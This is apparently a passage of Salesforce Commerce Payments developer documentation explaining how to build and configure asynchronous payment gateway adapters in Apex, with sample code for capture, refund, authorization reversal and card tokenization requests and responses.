3. Create a payment gateway provider. The `PaymentGatewayProvider` object stores details about the payment gateway that Salesforce Payments communicates with when processing a transaction.
 - a. Generate an access token according to the instructions in [Connect to Connect REST API Using OAuth](#).
The response includes the access token, specified in the `access_token` property, and the server instance, specified in the `instance_url` property. Use this information to make API calls to build the payment gateway provider.
 - b. Execute a POST call to the resource using the domain in the `instance_url`. For example, `https://instance_name.my.salesforce.com/services/data/vapi_version/tooling/subjects/PaymentGatewayProvider`. Use this payload as the request body, replacing *value* with the correct data.

EDITIONS

Available in: Salesforce Summer '20 and later

Available in: API 49.0 and later

```

{
    "ApexAdapterId": "value",
    "DeveloperName": "value",
    "MasterLabel": "value",
    "IdempotencySupported": "value",
    "Comments": "value"
}

```

Example:

```
{
  "ApexAdapterId": "01pxx0000004UU8AAM",
  "DeveloperName": "MyNewGatewayProvider",
  "MasterLabel": "My New Gateway Provider",
  "IdempotencySupported": "Yes",
  "Comments": "Custom made gateway provider."
}
```

4. Create a payment gateway record. The PaymentGateway object stores information about the connection to the external payment gateway. The record requires these field values.
 - Payment Gateway Name: Name of the external payment gateway.
 - Merchant Credential ID: ID of the named credential that you created.
 - Payment Gateway Provider ID: ID of the payment gateway provider that you created.
 - Status: Active

SEE ALSO:

[Object Reference for the Salesforce Platform: PaymentGateway](#)

[Object Reference for the Salesforce Platform: PaymentGatewayProvider](#)

Building an Asynchronous Gateway Adapter

In an asynchronous payments configuration, the payments platform first sends transaction information to the gateway. The gateway responds with an acknowledgment that it received the transaction, and then the platform creates a pending transaction. The gateway sends a notification, which contains the final transaction status. The platform then updates the transaction's status accordingly.

The asynchronous process differs from synchronous transactions, where the platform does not create a pending transaction after the initial gateway request. Instead, the platform creates a transaction only after the gateway sends a response containing the final transaction status. For information on building a synchronous adapter, review [Building a Synchronous Gateway Adapter](#).

An asynchronous configuration requires both a synchronous gateway adapter and an asynchronous adapter. In this topic, we'll break down a sample asynchronous adapter by looking at several important areas.

- Defining an asynchronous payment gateway adapter
- Processing the initial payment request
- Processing a notification from the payment gateway
- Debugging gateway responses using system debug logs.



Note: Payment gateway adapters can't make future calls, external callouts using `System.Http`, asynchronous calls, queueable calls, or execute DMLs using SOQL.

Asynchronous Payment Gateway Adapter Definition

An asynchronous gateway adapter class must implement both the [PaymentGatewayAdapter Interface](#) and the [PaymentGatewayAsyncAdapter Interface](#). The adapter class must also implement the `processRequest` method for `PaymentGatewayAdapter` and the `processNotification` method for `PaymentGatewayAsyncAdapter`.

```
global with sharing class SampleAdapter implements
commercepayments.PaymentGatewayAsyncAdapter, commercepayments.PaymentGatewayAdapter {
    global SampleAdapter() {}
}
```

```

    global commercepayments.GatewayResponse
    processRequest (commercepayments.PaymentGatewayContext gatewayContext) {
    }

    global commercepayments.GatewayNotificationResponse
    processNotification (commercepayments.PaymentGatewayNotificationContext
    gatewayNotificationContext) {
    }
}

```

Processing an Initial Payment Request

When the payments platform receives a payments API request, it passes the request to your gateway adapter for further evaluation. The adapter begins the request evaluation process by calling the **processRequest** method, which represents the first step in an asynchronous payment flow. We can break the processRequest implementation into three parts.

First, it builds a payment request object that the gateway can understand.

```

commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();
if (requestType == commercepayments.RequestType.Capture) {
    req.setEndpoint('/pal/servlet/Payment/v52/capture');
    body =
    buildCaptureRequest((commercepayments.CaptureRequest) gatewayContext.getPaymentRequest());
} else if (requestType == commercepayments.RequestType.ReferencedRefund) {
    req.setEndpoint('/pal/servlet/Payment/v52/refund');
    body =
    buildRefundRequest((commercepayments.ReferencedRefundRequest) gatewayContext.getPaymentRequest());
}

```

Then, the adapter sends the request to the payment gateway.

```

req.setBody(body);
req.setMethod('POST');
commercepayments.PaymentsHttp http = new commercepayments.PaymentsHttp();
HttpResponse res = null;
try {
    res = http.send(req);
} catch (CalloutException ce) {
    commercepayments.GatewayErrorResponse error = new
commercepayments.GatewayErrorResponse('500', ce.getMessage());
    return error;
}

```

Finally, the adapter creates a response object to store data from the gateway's response. The type of response object will vary based on whether you originally made a payment capture request or a refund request.

```

if ( requestType == commercepayments.RequestType.Capture) {
    // Refer to the end of this doc for sample createCaptureResponse implementation
    response = createCaptureResponse(res);
} else if ( requestType == commercepayments.RequestType.ReferencedRefund) {
    response = createRefundResponse(res);
}
return response;

```


Processing a Notification from the Payment Gateway

After the customer bank processes the transaction and sends the results to the gateway, the gateway sends the adapter a notification indicating that it's ready to provide the final transaction status. For this part of an asynchronous transaction flow, the adapter needs to call the `processNotification` class. We can split the `processNotification` implementation into four parts.

First, the adapter verifies the signature in the notification request. For more information on verifying signatures, review [Encryption and Signature Techniques in Apex](#).

```
private Boolean verifySignature(NotificationRequest requestItem) {
    String payload = requestItem.pspReference + ':'
        + (requestItem.originalReference == null ? '' : requestItem.originalReference) +
        ':'
        + requestItem.merchantAccountCode + ':'
        + requestItem.merchantReference + ':'
        + requestItem.amount.value.intValue() + ':'
        + requestItem.amount.currencyCode + ':'
        + requestItem.eventCode + ':'
        + requestItem.success;
    String myHMacKey = getHMacKey();
    String generatedSign = EncodingUtil.base64Encode(Crypto.generateMac('hmacSHA256',
        Blob.valueOf(payload),
                                EncodingUtil.convertFromHex(myHMacKey)));
    return generatedSign.equals(requestItem.additionalData.hmacSignature);
}
```

Next, the adapter parses the gateway's notification request and builds a notification object. The `getPaymentGatewayNotificationRequest` method evaluates data from the gateway's notification request items, which include status, referenceNumber, event, and amount. The `notificationStatus` object is set to `Success` or `Failed` based on whether the platform successfully received the notification. If the notification's event code indicates that the gateway processed a payment capture transaction, the adapter builds a notification object using the `CaptureNotification` class. If the event code indicates that the gateway processed a refund transaction, the adapter builds a notification object using the `ReferencedRefundNotification` class.

```
commercepayments.PaymentGatewayNotificationRequest gatewayNotificationRequest =
    gatewayNotificationContext.getPaymentGatewayNotificationRequest();
Blob request = gatewayNotificationRequest.getRequestBody();
SampleNotificationRequest notificationRequest =
    SampleNotificationRequest.parse(request.toString().replace('currency', 'currencyCode'));

List<SampleNotificationRequest.NotificationItems> notificationItems =
    notificationRequest.notificationItems;
SampleNotificationRequest.NotificationRequestItem notificationRequestItem =
    notificationItems[0].NotificationRequestItem;

Boolean success = Boolean.valueOf(notificationRequestItem.success);
String pspReference = notificationRequestItem.pspReference;
String eventCode = notificationRequestItem.eventCode;
Double amount = notificationRequestItem.amount.value;

commercepayments.NotificationStatus notificationStatus = null;
if (success) {
    notificationStatus = commercepayments.NotificationStatus.Success;
} else {
    notificationStatus = commercepayments.NotificationStatus.Failed;
}
```

```

}
commercepayments.BaseNotification notification = null;
if ('CAPTURE'.equals(eventCode)) {
    notification = new commercepayments.CaptureNotification();
} else if ('REFUND'.equals(eventCode)) {
    notification = new commercepayments.ReferencedRefundNotification();
}
notification.setStatus(notificationStatus);
notification.setGatewayReferenceNumber (pspReference);
notification.setAmount (amount);

```

The adapter then requests that the payments platform records the results of the notification.

```

commercepayments.NotificationSaveResult saveResult =
commercepayments.NotificationClient.record(notification);

```

All asynchronous gateways require that the platform acknowledges that it received the notification, regardless of whether the platform successfully saved the notification's data. The platform calls the `GatewayNotificationResponse` class to send the acknowledgment.

```

commercepayments.GatewayNotificationResponse gnr = new
commercepayments.GatewayNotificationResponse();
if (saveResult.isSuccess()) {
    system.debug('Notification accepted by platform');
} else {
    system.debug('Errors in the result ' + Blob.valueOf(saveResult.getErrorMessage()));
}
gnr.setStatusCode(200);
gnr.setResponseBody(Blob.valueOf('[accepted]'));
return gnr;

```

Using Custom Data

To transfer additional, custom data from the frontend to your payment gateway adapter, use the [Checkout Payments Connect API](#). Sending custom data to the adapter supports use cases like implementing conditional logic based on specific data or mapping asynchronous webhook events to a cart by passing an identifier.

To send custom data to your payment gateway adapter, use the `paymentsData` parameter in the [Checkout Payments Connect API](#) input payload. This parameter is a serialized map of type `<String, String>` that supports up to four key-value pairs. Each key and each value can contain up to 255 characters. `paymentsData` is only applicable to Auth and PostAuth payment requests. Simple purchase orders don't support `paymentsData`.

Similarly, the [Post Authorization](#) input payload has an `additionalData` property, which is also a map of type `<String, String>`. The `paymentsData` property is accepted for Auth and PostAuth requests and is transferred to the Payment APIs through the `additionalData` property.

Debugging

Usually, Apex debug logs are available in the developer console. However, Salesforce doesn't store debug logs from the `processNotification` method in the developer console. To view this part of the method flow using `system.debug`, review the Collect Debug Logs for Guest Users section of [Set Up Debug Logging](#).

Set Up an Asynchronous Payment Gateway Adapter

For payments transactions, you can configure Salesforce to interface with an asynchronous payment gateway adapter.

To access the `commercepayments` API, you need the `PaymentPlatform org` permission.

1. Create a Salesforce site. From Setup, in the Quick Find box, enter `Sites`. Under Sites and Domains, select **Sites** see [Set Up Salesforce Sites](#).

Set the site's public access settings to **Guest Access to the Payments API**.

2. Create your payment gateway adapter Apex classes. Asynchronous payment gateways require that you implement an asynchronous and a synchronous adapter. For information about building gateway adapters in Apex, see [Building an Asynchronous Gateway Adapter](#) and [Building a Synchronous Gateway Adapter](#).
3. Create a named credential in the UI.
 - a. From Setup, in the Quick Find box, enter `Named Credentials`, and then select **New**.
 - b. Complete the required fields. For the URL, enter the URL of your payment gateway.
4. Create a payment gateway provider. The `PaymentGatewayProvider` object stores details about the payment gateway that Salesforce Payments communicates with when processing a transaction.
 - a. Generate an access token according to the instructions in [Connect to Connect REST API Using OAuth](#).
The response includes the access token, specified in the `access_token` property, and the server instance, specified in the `instance_url` property. Use this information to make API calls to build the payment gateway provider.
 - b. Execute a POST call to the resource using the domain in the `instance_url`. For example, `https://instance_name.my.salesforce.com/services/data/vapi_version/tooling/subjects/PaymentGatewayProvider`. Use this payload as the request body, replacing `value` with the correct data.

```
{
  "ApexAdapterId": "value",
  "DeveloperName": "value",
  "MasterLabel": "value",
  "IdempotencySupported": "value",
  "Comments": "value"
}
```

Example:

```
{
  "ApexAdapterId": "01pxx0000004UU8AAM",
  "DeveloperName": "MyNewGatewayProvider",
  "MasterLabel": "My New Gateway Provider",
  "IdempotencySupported": "Yes",
  "Comments": "Custom made gateway provider."
}
```

5. Create a payment gateway record. The `PaymentGateway` object stores information about the connection to an external payment gateway. The record requires these field values.
 - Payment Gateway Name: Name of the external payment gateway.
 - Merchant Credential ID: ID of the named credential that you created.
 - Payment Gateway Provider ID: ID of the payment gateway provider that you created.
 - Status: Active

EDITIONS

Available in: Salesforce Summer '20 and later

Available in: API 49.0 and later

6. Create a webhook by providing a URL in the standard notification transport settings of your external payment gateway. The external payment gateway uses the webhook to send notifications, as HTTP POST messages, to your asynchronous payment gateway adapter. The webhook is a combination of your site endpoint with the ID of the payment gateway provider.
 - a. Use the following URL for your site's endpoint, replacing `domain` with your site's domain and URL. For example:
`https://MyDomainName.my.salesforce-sites.com/solutions/services/data/v58.0/commerce/payments/notify`**Note:** If you're not using enhanced domains, your org's Salesforce Sites URL is different. For details, see [My Domain URL Formats](#) in Salesforce Help.
 - b. Find the ID of your payment gateway provider, and append the `?provider=ID` query parameter to the endpoint. For example,
`https://MyDomainName.my.salesforce-sites.com/solutions/services/data/v58.0/commerce/payments/notify?provider=0cJF00000004CHVAM`
 - c. Enter the webhook in your external payment gateway's standard notification settings.

SEE ALSO:

[Object Reference for the Salesforce Platform: PaymentGatewayProvider](#)

[Object Reference for the Salesforce Platform: PaymentGateway](#)

Builder Examples for Payment Gateway Adapters

The final sections of a payment gateway adapter should define how the adapter creates requests and responses. The implementation of these classes can vary widely based on your gateway and platform requirements. We've provided several generic examples for review.



Example:

buildCaptureRequest

```
private String buildCaptureRequest(commercepayments.CaptureRequest captureRequest)
{
    Boolean IS_MULTICURRENCY_ORG = UserInfo.isMultiCurrencyOrganization();
    QueryUtils qBuilderForAuth = new QueryUtils(PaymentAuthorization.SObjectType);
    qBuilderForAuth.getSelectClause().addField('GatewayRefNumber', false);
    qBuilderForAuth.setWhereClause(' WHERE Id = ' + '\'' +
captureRequest.paymentAuthorizationId + '\'' );
    PaymentAuthorization authObject =
(PaymentAuthorization) Database.query(qBuilderForAuth.buildSOQL()) [0];

    JSONGenerator jsonGeneratorInstance = JSON.createGenerator(true);
    jsonGeneratorInstance.writeStartObject();
    jsonGeneratorInstance.writeStringField('merchantAccount',
'!{$Credential.Username}');
    jsonGeneratorInstance.writeStringField('originalReference',
authObject.GatewayRefNumber);

    jsonGeneratorInstance.writeFieldName('modificationAmount');
    jsonGeneratorInstance.writeStartObject();
    jsonGeneratorInstance.writeStringField('value',
String.valueOf((captureRequest.amount * 100.0).intValue()));
    jsonGeneratorInstance.writeEndObject();

    jsonGeneratorInstance.writeEndObject();
}
```

```
return jsonGeneratorInstance.getAsString();
}
```

**Example:****createCaptureResponse**

```
private commercenpayments.GatewayResponse createCaptureResponse(HttpResponse response)
{
    Map<String, Object> mapOfResponseValues = (Map
        <String, Object>) JSON.deserializeUntyped(response.getBody());

    Integer statusCode = response.getStatusCode();
    String responseValue = (String)mapOfResponseValues.get('response');
    if(statusCode == 200) {
        system.debug('Response - success - Capture received');
        commercenpayments.CaptureResponse captureResponse = new
        commercenpayments.CaptureResponse();
        captureResponse.setAsync(true); // Very important to treat this as an
        asynchronous transaction

        captureResponse.setGatewayReferenceNumber((String)mapOfResponseValues.get('pspReference'));

        captureResponse.setSalesforceResultCodeInfo(new
        commercenpayments.SalesforceResultCodeInfo(commercenpayments.SalesforceResultCode.Success));

        return captureResponse;
    } else {
        system.debug('Response - error - Capture not received by Gateway');
        String message = (String)mapOfResponseValues.get('message');
        commercenpayments.GatewayErrorResponse error = new
        commercenpayments.GatewayErrorResponse(String.valueOf(statusCode), message);
        return error;
    }
}
```

Payment Authorization Reversal Service

An authorization reversal is a transaction that negates an authorization by releasing the hold on funds in a customer's payment method.

[Authorization Reversal Apex Class Implementation](#)

The Authorization Reversal Service uses the `AuthorizationReversalRequest` and `AuthorizationReversalResponse` classes to manage the creation and storage of authorization reversal information. Implement these classes in your payment gateway adapter.

[Payment Authorization Reversal Service API](#)

An authorization reversal is a transaction that negates an authorization by releasing the hold on funds in a customer's payment method. Use the authorization reversal service to provide users with the ability to reverse an outstanding payment authorization.

Authorization Reversal Apex Class Implementation

The Authorization Reversal Service uses the `AuthorizationReversalRequest` and `AuthorizationReversalResponse` classes to manage the creation and storage of authorization reversal information. Implement these classes in your payment gateway adapter.

AuthorizationReversalRequest

Represents the authorization reversal request. Extends `BaseRequest` and inherits all its methods.

`AuthorizationReversalRequest` uses a constructor to build an authorization reversal request record in Salesforce. The `AuthorizationReversalRequest` constructor takes no arguments. You can invoke it as follows.

```
CommercePayments.AuthorizationReversalRequest arr = new
CommercePayments.AuthorizationReversalRequest();
```

If you want to build a sample authorization reversal, you can also invoke a constructor with arguments for the reversal amount and payment authorization ID. However, the constructor would only work for test usage and would throw an exception if used outside of the Apex test context.

```
commercepayments.AuthorizationReversalRequest authorizationReversalRequest =
new commercepayments.AuthorizationReversalRequest(80, authObj.id);
```

AuthorizationReversalResponse

The payment gateway adapter sends this class as a response for an Authorization Reversal request type. Extends `AbstractResponse` and inherits its methods.

`AuthorizationReversalResponse` uses a constructor to build an authorization reversal request record in Salesforce. The `AuthorizationReversalResponse` constructor takes no arguments. You can invoke it as follows:

```
CommercePayments.AuthorizationReversalResponse arp = new
CommercePayments.AuthorizationReversalResponse();
```



Note: Salesforce doesn't support bulk operations or custom fields in the authorization reversal process.

Implementing Reversal Classes in Your Gateway Adapter

Add your reversal classes to your payment gateway adapter. We recommend adding `AuthorizationReversal` as a possible `requestType` value when calling `processRequest` on the gateway's response.

```
global commercepayments.GatewayResponse processRequest (commercepayments.paymentGatewayContext
gatewayContext) {
    commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();

    commercepayments.GatewayResponse response;

    try {
        //add conditions for other requestType values here
        //..
    } else if (requestType == commercepayments.RequestType.AuthorizationReversal) {
        response =
createAuthReversalResponse((commercepayments.AuthorizationReversalRequest) gatewayContext.getPaymentRequest());
    }

    return response;
}
```

Then, add a class that sets the amount of the authorization reversal request, gateway information, and the Salesforce result code.

```
global commercepayments.GatewayResponse
createAuthReversalResponse(commercepayments.AuthorizationReversalRequest authReversalRequest)
{
    commercepayments.AuthorizationReversalResponse authReversalResponse = new
commercepayments.AuthorizationReversalResponse();
    if(authReversalRequest.amount!=null )
    {
        authReversalResponse.setAmount(authReversalRequest.amount);
    }
    else
    {
        throw new SalesforceValidationException('Required Field Missing : Amount');
    }

    system.debug('Response - success');
    authReversalResponse.setGatewayDate(system.now());
    authReversalResponse.setGatewayResultCode('00');
    authReversalResponse.setGatewayResultCodeDescription('Transaction Normal');
    //Replace 'xxxxx' with the gateway reference number.
    authReversalResponse.setGatewayReferenceNumber('SF'+xxxxx);

    authReversalResponse.setSalesforceResultCodeInfo(SUCCESS_SALESFORCE_RESULT_CODE_INFO);
    return authReversalResponse;
}
```

Sample Apex Request

```
String authorizationId = '0XcxXXXXXXXXXXXXXXXXX';
ConnectApi.AuthorizationReversalRequest authorizationReversalRequest = new
ConnectApi.AuthorizationReversalRequest();
authorizationReversalRequest.amount = 1.0;
authorizationReversalRequest.comments = 'Captured from custom action';
authorizationReversalRequest.ipAddress = '192.162.10.3';
authorizationReversalRequest.email = 'testuser@example.com';

ConnectApi.AuthorizationReversalResponse authorizationReversalResponse =
ConnectApi.Payments.reverseAuthorization(authorizationReversalRequest, authorizationId);
String authReversalId = authorizationReversalResponse.paymentAuthAdjustment.id;
System.debug(authorizationReversalResponse);
System.debug(authReversalId);
```

Payment Authorization Reversal Service API

An authorization reversal is a transaction that negates an authorization by releasing the hold on funds in a customer's payment method. Use the authorization reversal service to provide users with the ability to reverse an outstanding payment authorization.

Sometimes, a customer performs a payment authorization but then needs to cancel all or part of the authorization later. For example, the customer bought three items, and then realized that the first item is already in their stock. Commerce Payments API allows you to reverse all or part of an outstanding payment authorization.

After the customer payment gateway authorizes a payment, Commerce Payments creates a payment authorization record to store information about the authorization. When a user or process performs a reversal against the authorization, the authorization reversal service creates a payment authorization adjustment to store information. The adjustment is related to the authorization.

If the payment authorization is associated with an order payment summary, then the reversal amount is added to the order payment summary's `AuthorizationReversalAmount` and subtracted from its `AvailableToCaptureAmount`. But the `AvailableToCaptureAmount` is never below 0, even if a reversal makes its calculation a negative amount.



Note: For an authorization reversal, the payment gateway log's `OrderPaymentSummaryId` always defaults to null. If there's an associated order payment summary, your code can set the value.

Call the authorization reversal service by making a POST request to the following endpoint.

Endpoint

```
/commerce/payments/authorizations/{*authorizationId*}/reversals
```

The service accepts one authorization reversal request per call. The following payment authorization adjustment API parameters are accepted.

Table 8: Reversal Service Input Parameters

Parameter	Required	Description
amount	Required	Amount to be reversed from the authorization. Must be greater than zero. Salesforce doesn't provide validations comparing <code>PaymentAuthorizationAdjustment.Amount</code> to <code>PaymentAuthorization.Amount</code> . If the payment gateway allows the reversal amount to be greater than the authorization amount, the authorization's resulting balance can be negative. If your gateway supports authorization balances below zero and you want to avoid gateway calls, configure your adapter to query the authorization amount, balance, and total reversal amount, and don't call the endpoint if the balance is less than zero.
accountId	Optional	Account ID to which this authorization reversal is linked.
effectiveDate	Optional	The date that the reversal applies to the authorization.
email	Optional	Fraud parameter
ipAddress	Optional	Fraud parameter
macAddress	Optional	Fraud parameter
phone	Optional	Fraud parameter
comments	Optional	User-provided comments about the authorization reversal. Must be less than 1000 characters.

Sample Request and Response

This request calls a \$150 reversal against an authorization.

```
{
  "accountId": "",
  "amount": "150", *  "comments": "authorization reversal request",
  "effectiveDate": "2020-10-18T11:32:27.000Z",
  "ipAddress": "202.95.77.70",
  "macAddress": "00-14-22-01-23-45",
  "phone": "100-456-67",
  "email": "test@example.org",
  "additionalData": {
    //add additional parameters if needed
    "key1": "value1",
    "key2": "value2",
    "key3": "value3",
    "key4": "value4",
    "key5": "value5"
  }
}
```

Sample Response - Success

A successful authorization reversal response provides information about the gateway's response and the values to construct a payment authorization adjustment entity.

```
HPP Status Code: 201
{
  "gatewayResponse" : {
    "gatewayDate" : "2020-10-23T15:21:58.833Z",
    "gatewayReferenceNumber" : "439XXXXXXX",
    "gatewayResultCode" : "00",
    "gatewayResultCodeDescription" : "Transaction Normal",
    "salesforceResultCode" : "Success"
  },
  "paymentAuthAdjustment" : {
    "amount" : "150.0",
    "currencyIsoCode" : "USD",
    "effectiveDate" : "2020-10-18T11:32:27.000Z",
    "id" : "9tvR00000004Cf1MAE",
    "paymentAuthAdjustmentNumber" : "PAA-00XXXXXXX",
    "requestDate" : "2020-10-23T15:21:58.000Z",
    "status" : "Processed"
  },
  "paymentGatewayLogs" : [ {
    "createdDate" : "2020-10-23T15:21:58.000Z",
    "gatewayResultCode" : "00",
    "id" : "0xtXXXXXXXXXXXXXXXX",
    "interactionStatus" : "Success"
  } ]
}
```

The resulting payment authorization adjustment in Salesforce would look like this.

If an error is returned, the response contains the gateway's error code and error message.

Sample Response - Error

```
{
  "errorCode": "",
  "errorMessage": ""
}
```

Tokenization Service

The credit card tokenization process replaces sensitive customer information with a one-time algorithmically generated number, called a token, used during the payment transaction. Salesforce stores the token and then uses that token as a representation of the credit card used for transactions. The token lets you store information about the credit card without storing sensitive customer data, such as credit card numbers, in Salesforce.

Tokenization Service Apex Class Implementation

Use the tokenization service to hide sensitive customer payment method data. The Tokenization service uses `PaymentMethodTokenizationRequest`, `PaymentMethodTokenizationResponse`, and `CardPaymentMethodRequest`. Implement these classes in your payment gateway adapter.

Tokenization Service API

The credit card tokenization process replaces sensitive customer information with a one-time algorithmically generated number, called a token, to use during the payment transaction. Salesforce stores the token and then uses that token as a representation of the credit card used for transactions. The token stores information about the credit card without storing sensitive customer data such as credit card numbers. To add tokenization capabilities to your payment services, implement our Tokenization API.

Tokenization Service Apex Class Implementation

Use the tokenization service to hide sensitive customer payment method data. The Tokenization service uses `PaymentMethodTokenizationRequest`, `PaymentMethodTokenizationResponse`, and `CardPaymentMethodRequest`. Implement these classes in your payment gateway adapter.

EDITIONS

Available in: Salesforce
Spring '21 and later

Encryption for Tokenized Payment Methods

CommercePayments uses Salesforce field encryption to securely store gateway token values on customer payment method entities such as `DigitalWallet`, `CardPaymentMethod`, and `AlternativePaymentMethod`.

`CardPaymentMethod` and `DigitalWallet` contain the `GatewayTokenEncrypted` field, available in API v52.0 and later, and the `GatewayToken` field, available in API v48.0 and later. Both fields store gateway token values. However, `GatewayTokenEncrypted` uses Salesforce [Classic Encryption for Custom Fields](#) to securely encrypt the token. `GatewayToken` doesn't use encryption. To ensure secure tokenization, we recommend using `GatewayTokenEncrypted` on your `DigitalWallets` and `CardPaymentMethods`. The `AlternativePaymentMethod` object uses a `GatewayToken` field for token storage, however, this field is encrypted on `AlternativePaymentMethods`.

In API version 52.0 and later, `CardPaymentMethods` and `DigitalWallets` can't store values for `GatewayTokenEncryption` and `GatewayToken` at the same time on the same record. If you try to assign one while the other exists, Salesforce throws an error.

Your payment gateway adapter uses the `PaymentMethodTokenizationRequest` and `PaymentMethodTokenizationResponse` classes to retrieve a gateway token from the payment gateway, encrypt it in Salesforce, and store the value on a payment method entity. Let's see how we can configure these classes in our payment gateway adapter.

Implementing Tokenization Classes in Your Gateway Adapter

The following code is used within your `PaymentGatewayAdapter` Apex class.

Gateway tokens are created and encrypted when the `GatewayResponse` class's `processRequest` method receives a tokenization request. If the request type is `Tokenize`, `GatewayResponse` calls the `createTokenizeResponse` method and passes an instance of the `PaymentMethodTokenizationRequest` class. The passed `PaymentMethodTokenizationRequest` object contains the address and `cardPaymentMethod` information that the payment gateway needs to manage the tokenization process. For example:

```
global commercepayments.GatewayResponse processRequest (commercepayments.PaymentGatewayContext
gatewayContext) {
    commercepayments.RequestType requestType = gatewayContext.getPaymentRequestType();

    commercepayments.GatewayResponse response;
    try
    {
        if (requestType == commercepayments.RequestType.Tokenize) {
            response =
createTokenizeResponse((commercepayments.PaymentMethodTokenizationRequest) gatewayContext.getPaymentRequest());

        }
        //Add other else if statements for different request types as needed.
        return response;
    }
    catch(SalesforceValidationException e)
    {
        commercepayments.GatewayErrorResponse error = new
commercepayments.GatewayErrorResponse('400', e.getMessage());
        return error;
    }
}
```

Configure the `createTokenizeResponse` method to accept an instance of `PaymentMethodTokenizationRequest` and then build an instance of `PaymentMethodTokenizationResponse` based on the values that it receives from the payment gateway. The `tokenizeResponse` contains the results of the gateway's tokenization process, and if successful, the tokenized value. In this example, we call the `setGatewayTokenEncrypted` method to set the tokenized value in our tokenization response.

```
public commercepayments.GatewayResponse
createTokenizeResponse (commercepayments.PaymentMethodTokenizationRequest tokenizeRequest)
{
    commercepayments.PaymentMethodTokenizationResponse tokenizeResponse = new
commercepayments.PaymentMethodTokenizationResponse();
    tokenizeResponse.setGatewayTokenEncrypted(encryptedValue);
    tokenizeResponse.setGatewayTokenDetails(tokenDetails);
    tokenizeResponse.setGatewayAvsCode(avsCode);
    tokenizeResponse.setGatewayMessage(gatewayMessage);
    tokenizeResponse.setGatewayResultCode(resultCode);
    tokenizeResponse.setGatewayResultCodeDescription(resultCodeDescription);
    tokenizeResponse.setSalesforceResultCodeInfo(resultCodeInfo);
    tokenizeResponse.setGatewayDate(system.now());
    return tokenizeResponse;
}
```

The `setGatewayTokenEncrypted` method is available in Salesforce API v52.0 and later. It uses Salesforce classic encryption to set the encrypted token value that you can store in `GatewayTokenEncrypted` on a `CardPaymentMethod` or `DigitalWallet`, or in `GatewayToken` on an `AlternativePaymentMethod`. We recommend using `setGatewayTokenEncrypted` to ensure your tokenized payment method values are encrypted and secure.

```
/** @description Method to set Gateway token to persist in Encrypted Text */
global void setGatewayTokenEncrypted(String gatewayTokenEncrypted) {
    if (gatewayTokenSet) {
        throwTokenError();
    }
    this.delegate.setGatewayTokenEncrypted(gatewayTokenEncrypted);
    gatewayTokenEncryptedSet = true;
}
```

If the instantiated class already has a gateway token, `setGatewayTokenEncrypted` throws an error.



Note: While the `PaymentMethodTokenizationResponse`'s `setGatewayToken` method (available in API v48.0 and later) also returns a payment method token, the tokenized value isn't encrypted.

Tokenization Service API

The credit card tokenization process replaces sensitive customer information with a one-time algorithmically generated number, called a token, to use during the payment transaction. Salesforce stores the token and then uses that token as a representation of the credit card used for transactions. The token stores information about the credit card without storing sensitive customer data such as credit card numbers. To add tokenization capabilities to your payment services, implement our Tokenization API.

In a typical tokenization process, the payments platform accepts customer payment method data and passes it to a remote token service server on the payment gateway, outside of Salesforce. The server provides the tokenized value for storage on the platform. For example, a customer provides a credit card number of `4111 1111 1111 1234`. The token server stores this value, associates it with a token of `2537446225198291`, and sends that token for storage on the platform.

During communication with the merchant, the merchant sends the `2537446225198291` token to the token server. The token server confirms that it matches the customer's token, and authorizes the merchant to perform the transaction against the customer's card.

The Commerce Payments Tokenization API accepts credit card information and uses the external payment gateway configured through the customer's Salesforce org to tokenize the card information. It then returns the tokenization representation. The API then saves the token in `CardPaymentMethod`.

Call the tokenization service by making a POST request to this endpoint.

```
/commerce/payments/payment-methods
```

The Tokenization Service accepts these request parameters from payment and related entities.

Parameter	Required or Optional	Details
<code>cardPaymentMethod</code>	Some of the related fields for this parameter, shown in the sample request of this topic, are required. See <code>CardPaymentMethod</code>	Details of the credit card to be tokenized. For Type, see <code>CardPaymentMethod</code>
<code>accountId</code>	Optional	Salesforce Account ID of the card owner.
<code>address</code>	Optional	Address information of the customer who owns the credit card payment method being tokenized.

Parameter	Required or Optional	Details
paymentGatewayId	Required	The external payment gateway related to the tokenization server.
email	Optional	Fraud parameter.
ipAddress	Optional	Fraud parameter.
macAddress	Optional	Fraud parameter.
phone	Optional	Fraud parameter.
additionalData	Optional	Any additional data required by the gateway to tokenize a credit card payment method.

Sample Request and Response

This sample request provides a customer's credit card information for tokenization. Some optional parameters are left blank.

```
{
  "cardPaymentMethod": {
    "cardHolderName": "Carol Smith",
    "expiryMonth": "05",
    "expiryYear": "2025",
    "startMonth": "",
    "startYear": "",
    "cvv": "000",
    "cardNumber": "4111111111111111",
    "cardCategory": "Credit",
    "cardType": "Visa",
    "nickName": "",
    "cardHolderFirstName": "Carol",
    "cardHolderLastName": "Smith",
    "email": "csmith@example.com",
    "comments": "",
    "accountId": "000XXXXXXXX"
  },
  "address": {
    "street": "128 1st Street",
    "city": "San Francisco",
    "state": "CA",
    "country": "USA",
    "postalCode": "94015",
    "companyName": "Salesforce"
  },
  "paymentGatewayId": "000XXXXXXXX",
  "email": "",
  "ipAddress": "",
  "macAddress": "",
  "phone": "",
  "additionalData": {
    //add additional information if needed
    "key1": "value1",
  }
}
```

```

        "key2": "value2",
        "key3": "value3",
        "key4": "value4",
        "key5": "value5"
    }
}

```

A successful tokenization response updates the payment method and provides information about the gateway response and any payment gateway logs.

```

{
  "paymentMethod": {
    "id": "03OR0000000xxxxxxx",
    "accountId": "001xx000000xxxxxxx",
    "status": "Active"
  },
  "gatewayResponse": {
    "gatewayResultCode": "00",
    "gatewayResultCodeDescription": "Transaction Normal",
    "gatewayDate": "2020-12-08T04:03:20.000Z",
    "gatewayAvsCode": "7638788018713617",
    "gatewayMessage": "8313990738208498",
    "salesforceResultCode": "Success",
    "gatewayTokenEncrypted": "SF701252"
  },
  "paymentGatewayLogs": [ {
    "createdDate": "2020-12-08T04:03:20.000Z",
    "gatewayResultCode": "00",
    "id": "0XtR0000000xxxxxxx",
    "interactionStatus": "NoOp"
  } ],
}

```

Alternative Payment Methods

An alternative payment method allows customers to store and represent payment method information not represented by another pre-defined payment method such as `CardPaymentMethod` or `DigitalWallet`. Common examples of alternative payment methods include `CashOnDeliver`, `Klarna`, and `Direct Debit`. Alternative payment methods are available in API v51.0 and later.

Create a unique record type for each type of alternative payment method in your org. This way, each of your alternative payment methods can show different picklist values and page layouts based on the method provider and gateway provider's requirements. For example, you could have one alternative payment method record type for direct debit and a different record type for cash on deliver.

We also recommend creating a `GtwyProviderPaymentMethodType` for each of your unique alternative payment method record types.

